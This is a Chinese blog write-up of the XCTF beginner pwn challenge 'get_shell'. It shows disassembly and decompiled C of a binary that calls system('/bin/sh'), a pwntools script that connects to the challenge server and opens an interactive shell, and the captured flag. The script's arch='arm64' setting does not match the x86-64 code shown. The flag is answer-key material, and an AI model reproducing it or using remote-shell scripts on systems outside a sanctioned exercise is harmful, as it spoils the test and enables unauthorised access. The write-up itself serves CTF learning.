【攻防世界】Pwn系列之get_shell

【攻防世界】Pwn系列之get_shell

运行该程序后,进入一个shell界面,让你输入指令

我们使用IDA反汇编该程序,可以看到入口处main()函数如下所示,就是调用/bin/sh让你输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near
; __unwind {
push rbp
mov rbp, rsp
mov edi, offset s ; "OK,this time we will get a shell."
call _puts
mov edi, offset command ; "/bin/sh"
mov eax, 0
call _system ;使用system()调用/bin/sh
mov eax, 0
pop rbp
retn
; } // starts at 400566
main endp

反编译成c语言后得看到更加清晰的代码逻辑

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
puts("OK,this time we will get a shell.");
system("/bin/sh");
return 0;
}

所以还得从运行程序来观察,执行ls命令,可以看到其下有个get_shell文件就是进入自己的shell

这里需要连接远程的服务器61.147.171.105:59020,该目录下可以看到flag这个文件,查看该文件内容

可以得到flag为cyberpeace{983a129667d9ea3186712a1040f1de86}

也可以编写代码连接远程服务器查看flag文件,代码如下

1
2
3
4
from pwn import *
p = remote("61.147.171.105","59020")
context(os = 'linux',arch = 'arm64',log_level = 'debug')
p.interactive()

运行可得到flag字符串

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信